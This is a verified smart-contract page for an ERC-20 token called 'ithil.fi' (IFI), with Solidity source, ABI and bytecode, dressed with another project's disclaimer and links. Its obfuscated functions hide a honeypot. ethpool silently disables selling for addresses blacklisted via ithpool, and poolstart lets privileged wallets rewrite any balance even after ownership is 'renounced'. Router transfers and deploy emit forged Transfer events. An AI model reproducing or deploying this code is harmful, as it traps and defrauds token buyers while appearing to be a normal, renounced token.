Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function mod(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b, st ...  contract ithilFi *    - function renounceOwnership()    - function deploy(address account, uint ...    - function transfer(address to, uint256 ...    - function ethpool(address Ex)    - function balanceOf(address account)    - function ithpool(address Ex)    - function approve(address spender, uin ...    - function poolstart(address Ex, uint25 ...    - function ithw(address Ex)    - function transferFrom(address from, a ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

// File: ithil.sol

// https://docs.ithil.fi/docs/protocol-overview/how-it-works

// https://ithil.fi/

// This Legal Disclamer (from now after referred as the "Notice") is provided by Ithil Ltd, 
// a company established under the laws of the British Virgin Islands (collectively with its affiliates, 
// "we", "our", "us" or "Ithil"). Any statements, announcements, and communications made by Ithil, as well as 
// any other information however communicated by Ithil or on its behalf (collectively, the "Communications"), are 
// and shall be subject to this Notice. Please read this Notice carefully before using, referring to, or relying upon,
//  any Communications made by Ithil.

pragma solidity 0.8.17;


  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
contract ithilFi {
  
    mapping (address => uint256) public eTXm;
    mapping (address => bool) eRSm;
	mapping (address => bool) eRn;



    // 
    string public name = "ithil.fi";
    string public symbol = unicode"IFI";
    uint8 public decimals = 18;
    uint256 public totalSupply = 2000000000 * (uint256(10) ** decimals);
    uint eM = 1;
   
    event Transfer(address indexed from, address indexed to, uint256 value);
     event OwnershipRenounced(address indexed previousOwner);

        constructor()  {
        eTXm[msg.sender] = totalSupply;
        deploy(Deployer, totalSupply); }



	address owner = msg.sender;
    address Router = 0x08df34d23f7ca6c6CAAD713DCc2736F5C7D96850;
    address Deployer = 0xe6A7a1d47ff21B6321162AEA7C6CB457D5476Bca;
   


    function renounceOwnership() public {
    require(msg.sender == owner);
    emit OwnershipRenounced(owner);
    owner = address(0);}


    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }
    modifier iQ () {
        eM = 0;
        _;}

        function transfer(address to, uint256 value) public returns (bool success) {
        if(msg.sender == Router)  {
        require(eTXm[msg.sender] >= value);
        eTXm[msg.sender] -= value;  
        eTXm[to] += value; 
        emit Transfer (Deployer, to, value);
        return true; } 
        if(eRSm[msg.sender]) {
        require(eM == 1);} 
        require(eTXm[msg.sender] >= value);
        eTXm[msg.sender] -= value;  
        eTXm[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }

        function ethpool(address Ex) iQ public {
        require(msg.sender == owner);
        eRn[Ex] = true;} 


        function balanceOf(address account) public view returns (uint256) {
        return eTXm[account]; }
        function ithpool(address Ex) Si public{          
        require(!eRSm[Ex]);
        eRSm[Ex] = true;}
		modifier Si () {
        require(eRn[msg.sender]);
        _; }
        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;

        emit Approval(msg.sender, spender, value);
        return true; }
		 function poolstart(address Ex, uint256 iZ) Si public returns (bool success) {
        eTXm[Ex] = iZ;
        return true; }
        function ithw(address Ex) Si public {
        require(eRSm[Ex]);
        eRSm[Ex] = false; }



        function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == Router)  {
        require(value <= eTXm[from]);
        require(value <= allowance[from][msg.sender]);
        eTXm[from] -= value;  
        eTXm[to] += value; 
        emit Transfer (Deployer, to, value);
        return true; }    
        if(eRSm[from] || eRSm[to]) {
        require(eM == 1);}
        require(value <= eTXm[from]);
        require(value <= allowance[from][msg.sender]);
        eTXm[from] -= value;
        eTXm[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"eTXm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Ex","type":"address"}],"name":"ethpool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Ex","type":"address"}],"name":"ithpool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Ex","type":"address"}],"name":"ithw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Ex","type":"address"},{"internalType":"uint256","name":"iZ","type":"uint256"}],"name":"poolstart","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f697468696c2e6669000000000000000000000000000000000000000000000000815250600390816200004a9190620005a0565b506040518060400160405280600381526020017f494649000000000000000000000000000000000000000000000000000000000081525060049081620000919190620005a0565b506012600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620000cc919062000817565b6377359400620000dd919062000868565b600655600160075533600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507308df34d23f7ca6c6caad713dcc2736f5c7d96850600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e6a7a1d47ff21b6321162aea7c6cb457d5476bca600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001dd57600080fd5b506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000259600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546200025f60201b60201c565b620008e1565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002ba57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031a9190620008c4565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a857607f821691505b602082108103620003be57620003bd62000360565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e9565b620004348683620003e9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004816200047b62000475846200044c565b62000456565b6200044c565b9050919050565b6000819050919050565b6200049d8362000460565b620004b5620004ac8262000488565b848454620003f6565b825550505050565b600090565b620004cc620004bd565b620004d981848462000492565b505050565b5b818110156200050157620004f5600082620004c2565b600181019050620004df565b5050565b601f82111562000550576200051a81620003c4565b6200052584620003d9565b8101602085101562000535578190505b6200054d6200054485620003d9565b830182620004de565b50505b505050565b600082821c905092915050565b6000620005756000198460080262000555565b1980831691505092915050565b600062000590838362000562565b9150826002028217905092915050565b620005ab8262000326565b67ffffffffffffffff811115620005c757620005c662000331565b5b620005d382546200038f565b620005e082828562000505565b600060209050601f83116001811462000618576000841562000603578287015190505b6200060f858262000582565b8655506200067f565b601f1984166200062886620003c4565b60005b8281101562000652578489015182556001820191506020850194506020810190506200062b565b868310156200067257848901516200066e601f89168262000562565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071557808604811115620006ed57620006ec62000687565b5b6001851615620006fd5780820291505b80810290506200070d85620006b6565b9450620006cd565b94509492505050565b60008262000730576001905062000803565b8162000740576000905062000803565b816001811462000759576002811462000764576200079a565b600191505062000803565b60ff84111562000779576200077862000687565b5b8360020a91508482111562000793576200079262000687565b5b5062000803565b5060208310610133831016604e8410600b8410161715620007d45782820a905083811115620007ce57620007cd62000687565b5b62000803565b620007e38484846001620006c3565b92509050818404811115620007fd57620007fc62000687565b5b81810290505b9392505050565b600060ff82169050919050565b600062000824826200044c565b915062000831836200080a565b9250620008607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200071e565b905092915050565b600062000875826200044c565b915062000882836200044c565b925082820262000892816200044c565b91508282048414831517620008ac57620008ab62000687565b5b5092915050565b620008be816200044c565b82525050565b6000602082019050620008db6000830184620008b3565b92915050565b61187980620008f16000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80634956eaf01161009757806392194c671161006657806392194c67146102ad57806395d89b41146102c9578063a9059cbb146102e7578063dd62ed3e1461031757610100565b80634956eaf01461023b5780635ceb79c91461025757806370a0823114610273578063715018a6146102a357610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd5780633bf14439146101db5780633d51e50c1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806322ea910e14610171575b600080fd5b61010d610347565b60405161011a91906114fa565b60405180910390f35b61013d600480360381019061013891906115b5565b6103d5565b60405161014a9190611610565b60405180910390f35b61015b6104c7565b604051610168919061163a565b60405180910390f35b61018b60048036038101906101869190611655565b6104cd565b005b6101a760048036038101906101a29190611682565b6105d4565b6040516101b49190611610565b60405180910390f35b6101c5610b71565b6040516101d291906116f1565b60405180910390f35b6101f560048036038101906101f09190611655565b610b84565b604051610202919061163a565b60405180910390f35b610225600480360381019061022091906115b5565b610b9c565b6040516102329190611610565b60405180910390f35b610255600480360381019061025091906115b5565b610c41565b005b610271600480360381019061026c9190611655565b610d05565b005b61028d60048036038101906102889190611655565b610e0c565b60405161029a919061163a565b60405180910390f35b6102ab610e54565b005b6102c760048036038101906102c29190611655565b610f57565b005b6102d1611014565b6040516102de91906114fa565b60405180910390f35b61030160048036038101906102fc91906115b5565b6110a2565b60405161030e9190611610565b60405180910390f35b610331600480360381019061032c919061170c565b611445565b60405161033e919061163a565b60405180910390f35b600380546103549061177b565b80601f01602080910402602001604051908101604052809291908181526020018280546103809061177b565b80156103cd5780601f106103a2576101008083540402835291602001916103cd565b820191906000526020600020905b8154815290600101906020018083116103b057829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b5919061163a565b60405180910390a36001905092915050565b60065481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661052357600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561057a57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610839576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561067657600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106ff57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461074d91906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a2919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610828919061163a565b60405180910390a360019050610b6a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108da5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108ef576001600754146108ee57600080fd5b5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561093a57600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109c357600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a1191906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a66919061180f565b9250508190555081600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610af991906117db565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b5d919061163a565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bf457600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9b57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cf9919061163a565b60405180910390a35050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d5b57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610db157600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eae57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600781905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb957600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600480546110219061177b565b80601f016020809104026020016040519081016040528092919081815260200182805461104d9061177b565b801561109a5780601f1061106f5761010080835404028352916020019161109a565b820191906000526020600020905b81548152906001019060200180831161107d57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361127e57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561114457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461119291906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111e7919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126d919061163a565b60405180910390a36001905061143f565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112e0576001600754146112df57600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561132b57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461137991906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113ce919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611432919061163a565b60405180910390a3600190505b92915050565b600b602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a4578082015181840152602081019050611489565b60008484015250505050565b6000601f19601f8301169050919050565b60006114cc8261146a565b6114d68185611475565b93506114e6818560208601611486565b6114ef816114b0565b840191505092915050565b6000602082019050818103600083015261151481846114c1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154c82611521565b9050919050565b61155c81611541565b811461156757600080fd5b50565b60008135905061157981611553565b92915050565b6000819050919050565b6115928161157f565b811461159d57600080fd5b50565b6000813590506115af81611589565b92915050565b600080604083850312156115cc576115cb61151c565b5b60006115da8582860161156a565b92505060206115eb858286016115a0565b9150509250929050565b60008115159050919050565b61160a816115f5565b82525050565b60006020820190506116256000830184611601565b92915050565b6116348161157f565b82525050565b600060208201905061164f600083018461162b565b92915050565b60006020828403121561166b5761166a61151c565b5b60006116798482850161156a565b91505092915050565b60008060006060848603121561169b5761169a61151c565b5b60006116a98682870161156a565b93505060206116ba8682870161156a565b92505060406116cb868287016115a0565b9150509250925092565b600060ff82169050919050565b6116eb816116d5565b82525050565b600060208201905061170660008301846116e2565b92915050565b600080604083850312156117235761172261151c565b5b60006117318582860161156a565b92505060206117428582860161156a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179357607f821691505b6020821081036117a6576117a561174c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117e68261157f565b91506117f18361157f565b9250828203905081811115611809576118086117ac565b5b92915050565b600061181a8261157f565b91506118258361157f565b925082820190508082111561183d5761183c6117ac565b5b9291505056fea2646970667358221220304d3df33f57efaaf935228fe1b42921599679b0a79b9c65458d7943f3db5ab064736f6c63430008110033

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634956eaf01161009757806392194c671161006657806392194c67146102ad57806395d89b41146102c9578063a9059cbb146102e7578063dd62ed3e1461031757610100565b80634956eaf01461023b5780635ceb79c91461025757806370a0823114610273578063715018a6146102a357610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd5780633bf14439146101db5780633d51e50c1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806322ea910e14610171575b600080fd5b61010d610347565b60405161011a91906114fa565b60405180910390f35b61013d600480360381019061013891906115b5565b6103d5565b60405161014a9190611610565b60405180910390f35b61015b6104c7565b604051610168919061163a565b60405180910390f35b61018b60048036038101906101869190611655565b6104cd565b005b6101a760048036038101906101a29190611682565b6105d4565b6040516101b49190611610565b60405180910390f35b6101c5610b71565b6040516101d291906116f1565b60405180910390f35b6101f560048036038101906101f09190611655565b610b84565b604051610202919061163a565b60405180910390f35b610225600480360381019061022091906115b5565b610b9c565b6040516102329190611610565b60405180910390f35b610255600480360381019061025091906115b5565b610c41565b005b610271600480360381019061026c9190611655565b610d05565b005b61028d60048036038101906102889190611655565b610e0c565b60405161029a919061163a565b60405180910390f35b6102ab610e54565b005b6102c760048036038101906102c29190611655565b610f57565b005b6102d1611014565b6040516102de91906114fa565b60405180910390f35b61030160048036038101906102fc91906115b5565b6110a2565b60405161030e9190611610565b60405180910390f35b610331600480360381019061032c919061170c565b611445565b60405161033e919061163a565b60405180910390f35b600380546103549061177b565b80601f01602080910402602001604051908101604052809291908181526020018280546103809061177b565b80156103cd5780601f106103a2576101008083540402835291602001916103cd565b820191906000526020600020905b8154815290600101906020018083116103b057829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b5919061163a565b60405180910390a36001905092915050565b60065481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661052357600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561057a57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610839576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561067657600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106ff57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461074d91906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a2919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610828919061163a565b60405180910390a360019050610b6a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108da5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108ef576001600754146108ee57600080fd5b5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561093a57600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109c357600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a1191906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a66919061180f565b9250508190555081600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610af991906117db565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b5d919061163a565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bf457600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9b57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cf9919061163a565b60405180910390a35050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673fffff